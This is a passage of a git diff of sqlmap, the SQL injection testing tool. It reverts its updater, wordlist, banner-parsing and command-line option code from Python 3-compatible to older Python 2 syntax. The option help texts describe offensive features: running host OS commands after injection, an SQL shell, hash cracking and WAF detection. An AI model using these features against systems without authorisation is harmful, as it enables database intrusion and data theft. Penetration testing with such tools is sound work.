|
||||
open(os.path.join(directory, "sqlmap.py"), "w+b")
|
||||
except Exception as ex:
|
||||
except Exception, ex:
|
||||
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
@@ -71,7 +71,7 @@ def update():
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
try:
|
||||
archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0]
|
||||
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
|
||||
|
||||
with zipfile.ZipFile(archive) as f:
|
||||
for info in f.infolist():
|
||||
@@ -81,11 +81,11 @@ def update():
|
||||
|
||||
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||
if os.path.isfile(filepath):
|
||||
with openFile(filepath, "rb") as f:
|
||||
with open(filepath, "rb") as f:
|
||||
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
|
||||
logger.info("updated to the latest version '%s#dev'" % version)
|
||||
success = True
|
||||
except Exception as ex:
|
||||
except Exception, ex:
|
||||
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
|
||||
else:
|
||||
if not success:
|
||||
@@ -103,28 +103,26 @@ def update():
|
||||
debugMsg = "sqlmap will try to update itself using 'git' command"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
|
||||
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
|
||||
|
||||
try:
|
||||
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
|
||||
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||
pollProcess(process, True)
|
||||
output, _ = process.communicate()
|
||||
stdout, stderr = process.communicate()
|
||||
success = not process.returncode
|
||||
except Exception as ex:
|
||||
except (IOError, OSError), ex:
|
||||
success = False
|
||||
output = getSafeExString(ex)
|
||||
finally:
|
||||
output = getText(output)
|
||||
stderr = getSafeExString(ex)
|
||||
|
||||
if success:
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber()))
|
||||
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber()))
|
||||
else:
|
||||
if "Not a git repository" in output:
|
||||
if "Not a git repository" in stderr:
|
||||
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
|
||||
errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip())
|
||||
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
|
||||
|
||||
if not success:
|
||||
if IS_WIN:
|
||||
|
||||
@@ -1,29 +1,24 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import zipfile
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import isZipFile
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.core.exception import SqlmapInstallationException
|
||||
from thirdparty import six
|
||||
|
||||
class Wordlist(six.Iterator):
|
||||
class Wordlist(object):
|
||||
"""
|
||||
Iterator for looping over a large dictionaries
|
||||
|
||||
>>> from lib.core.option import paths
|
||||
>>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.string_types)
|
||||
True
|
||||
"""
|
||||
|
||||
def __init__(self, filenames, proc_id=None, proc_count=None, custom=None):
|
||||
self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames
|
||||
self.filenames = filenames
|
||||
self.fp = None
|
||||
self.index = 0
|
||||
self.counter = -1
|
||||
@@ -45,10 +40,10 @@ class Wordlist(six.Iterator):
|
||||
self.iter = iter(self.custom)
|
||||
else:
|
||||
self.current = self.filenames[self.index]
|
||||
if isZipFile(self.current):
|
||||
if os.path.splitext(self.current)[1].lower() == ".zip":
|
||||
try:
|
||||
_ = zipfile.ZipFile(self.current, 'r')
|
||||
except zipfile.error as ex:
|
||||
except zipfile.error, ex:
|
||||
errMsg = "something appears to be wrong with "
|
||||
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
||||
errMsg += "sure that you haven't made any changes to it"
|
||||
@@ -68,20 +63,20 @@ class Wordlist(six.Iterator):
|
||||
self.fp.close()
|
||||
self.fp = None
|
||||
|
||||
def __next__(self):
|
||||
def next(self):
|
||||
retVal = None
|
||||
while True:
|
||||
self.counter += 1
|
||||
try:
|
||||
retVal = next(self.iter).rstrip()
|
||||
except zipfile.error as ex:
|
||||
retVal = self.iter.next().rstrip()
|
||||
except zipfile.error, ex:
|
||||
errMsg = "something appears to be wrong with "
|
||||
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
|
||||
errMsg += "sure that you haven't made any changes to it"
|
||||
raise SqlmapInstallationException(errMsg)
|
||||
except StopIteration:
|
||||
self.adjust()
|
||||
retVal = next(self.iter).rstrip()
|
||||
retVal = self.iter.next().rstrip()
|
||||
if not self.proc_count or self.counter % self.proc_count == self.proc_id:
|
||||
break
|
||||
return retVal
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -53,11 +53,11 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
elif name == "servicepack":
|
||||
self._inServicePack = True
|
||||
|
||||
def characters(self, content):
|
||||
def characters(self, data):
|
||||
if self._inVersion:
|
||||
self._version += sanitizeStr(content)
|
||||
self._version += sanitizeStr(data)
|
||||
elif self._inServicePack:
|
||||
self._servicePack += sanitizeStr(content)
|
||||
self._servicePack += sanitizeStr(data)
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "signature":
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import re
|
||||
import shlex
|
||||
@@ -17,13 +15,11 @@ from optparse import OptionGroup
|
||||
from optparse import OptionParser
|
||||
from optparse import SUPPRESS_HELP
|
||||
|
||||
from lib.core.common import checkObsoleteOptions
|
||||
from lib.core.common import checkDeprecatedOptions
|
||||
from lib.core.common import checkSystemEncoding
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import expandMnemonics
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
@@ -33,7 +29,6 @@ from lib.core.exception import SqlmapShellQuitException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.settings import BASIC_HELP_ITEMS
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import MAX_HELP_OPTION_LENGTH
|
||||
from lib.core.settings import VERSION_STRING
|
||||
@@ -41,7 +36,6 @@ from lib.core.shell import autoCompletion
|
||||
from lib.core.shell import clearHistory
|
||||
from lib.core.shell import loadHistory
|
||||
from lib.core.shell import saveHistory
|
||||
from thirdparty.six.moves import input as _input
|
||||
|
||||
def cmdLineParser(argv=None):
|
||||
"""
|
||||
@@ -56,7 +50,7 @@ def cmdLineParser(argv=None):
|
||||
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
|
||||
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
|
||||
|
||||
usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
|
||||
usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
|
||||
parser = OptionParser(usage=usage)
|
||||
|
||||
try:
|
||||
@@ -105,16 +99,16 @@ def cmdLineParser(argv=None):
|
||||
help="Force usage of given HTTP method (e.g. PUT)")
|
||||
|
||||
request.add_option("--data", dest="data",
|
||||
help="Data string to be sent through POST (e.g. \"id=1\")")
|
||||
help="Data string to be sent through POST")
|
||||
|
||||
request.add_option("--param-del", dest="paramDel",
|
||||
help="Character used for splitting parameter values (e.g. &)")
|
||||
help="Character used for splitting parameter values")
|
||||
|
||||
request.add_option("--cookie", dest="cookie",
|
||||
help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")")
|
||||
help="HTTP Cookie header value")
|
||||
|
||||
request.add_option("--cookie-del", dest="cookieDel",
|
||||
help="Character used for splitting cookie values (e.g. ;)")
|
||||
help="Character used for splitting cookie values")
|
||||
|
||||
request.add_option("--load-cookies", dest="loadCookies",
|
||||
help="File containing cookies in Netscape/wget format")
|
||||
@@ -150,7 +144,7 @@ def cmdLineParser(argv=None):
|
||||
help="HTTP authentication PEM cert/private key file")
|
||||
|
||||
request.add_option("--ignore-code", dest="ignoreCode", type="int",
|
||||
help="Ignore (problematic) HTTP error code (e.g. 401)")
|
||||
help="Ignore HTTP error code (e.g. 401)")
|
||||
|
||||
request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
|
||||
help="Ignore system default proxy settings")
|
||||
@@ -218,9 +212,6 @@ def cmdLineParser(argv=None):
|
||||
request.add_option("--force-ssl", dest="forceSSL", action="store_true",
|
||||
help="Force usage of SSL/HTTPS")
|
||||
|
||||
request.add_option("--chunked", dest="chunked", action="store_true",
|
||||
help="Use HTTP chunked transfer encoded (POST) requests")
|
||||
|
||||
request.add_option("--hpp", dest="hpp", action="store_true",
|
||||
help="Use HTTP parameter pollution method")
|
||||
|
||||
@@ -261,9 +252,6 @@ def cmdLineParser(argv=None):
|
||||
injection.add_option("--param-exclude", dest="paramExclude",
|
||||
help="Regexp to exclude parameters from testing (e.g. \"ses\")")
|
||||
|
||||
injection.add_option("--param-filter", dest="paramFilter",
|
||||
help="Select testable parameter(s) by place (e.g. \"POST\")")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to provided value")
|
||||
|
||||
@@ -417,9 +405,6 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_option("--comments", dest="getComments", action="store_true",
|
||||
help="Check for DBMS comments during enumeration")
|
||||
|
||||
enumeration.add_option("--statements", dest="getStatements", action="store_true",
|
||||
help="Retrieve SQL statements being run on DBMS")
|
||||
|
||||
enumeration.add_option("-D", dest="db",
|
||||
help="DBMS database to enumerate")
|
||||
|
||||
@@ -456,7 +441,7 @@ def cmdLineParser(argv=None):
|
||||
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||
help="Last query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="sqlQuery",
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL statement to be executed")
|
||||
|
||||
enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
|
||||
@@ -607,12 +592,6 @@ def cmdLineParser(argv=None):
|
||||
general.add_option("--parse-errors", dest="parseErrors", action="store_true",
|
||||
help="Parse and display DBMS error messages from responses")
|
||||
|
||||
general.add_option("--preprocess", dest="preprocess",
|
||||
help="Use given script(s) for preprocessing of response data")
|
||||
|
||||
general.add_option("--repair", dest="repair", action="store_true",
|
||||
help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR)
|
||||
|
||||
general.add_option("--save", dest="saveConfig",
|
||||
help="Save options to a configuration INI file")
|
||||
|
||||
@@ -638,7 +617,7 @@ def cmdLineParser(argv=None):
|
||||
help="Run host OS command(s) when SQL injection is found")
|
||||
|
||||
miscellaneous.add_option("--answers", dest="answers",
|
||||
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
|
||||
help="Set question answers (e.g. \"quit=N,follow=N\")")
|
||||
|
||||
miscellaneous.add_option("--beep", dest="beep", action="store_true",
|
||||
help="Beep on question and/or when SQL injection is found")
|
||||
@@ -647,7 +626,7 @@ def cmdLineParser(argv=None):
|
||||
help="Clean up the DBMS from sqlmap specific UDF and tables")
|
||||
|
||||
miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
|
||||
help="Check for missing (optional) sqlmap dependencies")
|
||||
help="Check for missing (non-core) sqlmap dependencies")
|
||||
|
||||
miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
|
||||
help="Disable console output coloring")
|
||||
@@ -655,6 +634,9 @@ def cmdLineParser(argv=None):
|
||||
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||
help="Use Google dork results from specified page number")
|
||||
|
||||
miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
|
||||
help="Make a thorough testing for a WAF/IPS protection")
|
||||
|
||||
miscellaneous.add_option("--list-tampers", dest="listTampers", action="store_true",
|
||||
help="Display list of available tamper scripts")
|
||||
|
||||
@@ -686,23 +668,12 @@ def cmdLineParser(argv=None):
|
||||
help="Simple wizard interface for beginner users")
|
||||
|
||||
# Hidden and/or experimental options
|
||||
parser.add_option("--base64", dest="base64Parameter",
|
||||
help=SUPPRESS_HELP)
|
||||
# help="Parameter(s) containing Base64 encoded values")
|
||||
|
||||
parser.add_option("--crack", dest="hashFile",
|
||||
help=SUPPRESS_HELP)
|
||||
# help="Load and crack hashes from a file (standalone)")
|
||||
|
||||
parser.add_option("--dummy", dest="dummy", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--murphy-rate", dest="murphyRate", type="int",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--debug", dest="debug", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--disable-precon", dest="disablePrecon", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
@@ -730,9 +701,6 @@ def cmdLineParser(argv=None):
|
||||
parser.add_option("--live-test", dest="liveTest", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--vuln-test", dest="vulnTest", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
parser.add_option("--stop-fail", dest="stopFail", action="store_true",
|
||||
help=SUPPRESS_HELP)
|
||||
|
||||
@@ -770,7 +738,7 @@ def cmdLineParser(argv=None):
|
||||
return retVal
|
||||
|
||||
parser.formatter._format_option_strings = parser.formatter.format_option_strings
|
||||
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser)
|
||||
parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))
|
||||
|
||||
# Dirty hack for making a short option '-hh'
|
||||
option = parser.get_option("--hh")
|
||||
@@ -792,7 +760,7 @@ def cmdLineParser(argv=None):
|
||||
_.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||
|
||||
argv = _
|
||||
checkObsoleteOptions(argv)
|
||||
checkDeprecatedOptions(argv)
|
||||
|
||||
prompt = "--sqlmap-shell" in argv
|
||||
|
||||
@@ -817,10 +785,10 @@ def cmdLineParser(argv=None):
|
||||
command = None
|
||||
|
||||
try:
|
||||
# Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170)
|
||||
command = _input("sqlmap-shell> ").strip()
|
||||
command = raw_input("sqlmap-shell> ").strip()
|
||||
command = getUnicode(command, encoding=sys.stdin.encoding)
|
||||
except (KeyboardInterrupt, EOFError):
|
||||
print()
|
||||
print
|
||||
raise SqlmapShellQuitException
|
||||
|
||||
if not command:
|
||||
@@ -842,8 +810,8 @@ def cmdLineParser(argv=None):
|
||||
try:
|
||||
for arg in shlex.split(command):
|
||||
argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
|
||||
except ValueError as ex:
|
||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||
except ValueError, ex:
|
||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
|
||||
|
||||
for i in xrange(len(argv)):
|
||||
if argv[i] == "-hh":
|
||||
@@ -866,19 +834,11 @@ def cmdLineParser(argv=None):
|
||||
elif argv[i] == "-H":
|
||||
if i + 1 < len(argv):
|
||||
extraHeaders.append(argv[i + 1])
|
||||
elif argv[i] == "-r":
|
||||
for j in xrange(i + 2, len(argv)):
|
||||
value = argv[j]
|
||||
if os.path.isfile(value):
|
||||
argv[i + 1] += ",%s" % value
|
||||
argv[j] = ''
|
||||
else:
|
||||
break
|
||||
elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]):
|
||||
argv[i] = argv[i][:-1]
|
||||
conf.skipThreadCheck = True
|
||||
elif argv[i] == "--version":
|
||||
print(VERSION_STRING.split('/')[-1])
|
||||
print VERSION_STRING.split('/')[-1]
|
||||
raise SystemExit
|
||||
elif argv[i] in ("-h", "--help"):
|
||||
advancedHelp = False
|
||||
@@ -902,8 +862,8 @@ def cmdLineParser(argv=None):
|
||||
|
||||
try:
|
||||
(args, _) = parser.parse_args(argv)
|
||||
except UnicodeEncodeError as ex:
|
||||
dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape")))
|
||||
except UnicodeEncodeError, ex:
|
||||
dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
|
||||
raise SystemExit
|
||||
except SystemExit:
|
||||
if "-h" in argv and not advancedHelp:
|
||||
@@ -924,21 +884,21 @@ def cmdLineParser(argv=None):
|
||||
if args.dummy:
|
||||
args.url = args.url or DUMMY_URL
|
||||
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
|
||||
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers)):
|
||||
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
|
||||
errMsg += "Use -h for basic and -hh for advanced help\n"
|
||||
parser.error(errMsg)
|
||||
|
||||
return args
|
||||
|
||||
except (OptionError, TypeError) as ex:
|
||||
parser.error(ex)
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
except SystemExit:
|
||||
# Protection against Windows dummy double clicking
|
||||
if IS_WIN:
|
||||
dataToStdout("\nPress Enter to continue...")
|
||||
_input()
|
||||
raw_input()
|
||||
raise
|
||||
|
||||
debugMsg = "parsing command line"
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import openFile
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import UnicodeRawConfigParser
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import cmdLineOptions
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
@@ -39,7 +39,7 @@ def configFileProxy(section, option, datatype):
|
||||
value = config.getfloat(section, option) if config.get(section, option) else 0.0
|
||||
else:
|
||||
value = config.get(section, option)
|
||||
except ValueError as ex:
|
||||
except ValueError, ex:
|
||||
errMsg = "error occurred while processing the option "
|
||||
errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex))
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -71,7 +71,7 @@ def configFileParser(configFile):
|
||||
try:
|
||||
config = UnicodeRawConfigParser()
|
||||
config.readfp(configFP)
|
||||
except Exception as ex:
|
||||
except Exception, ex:
|
||||
errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user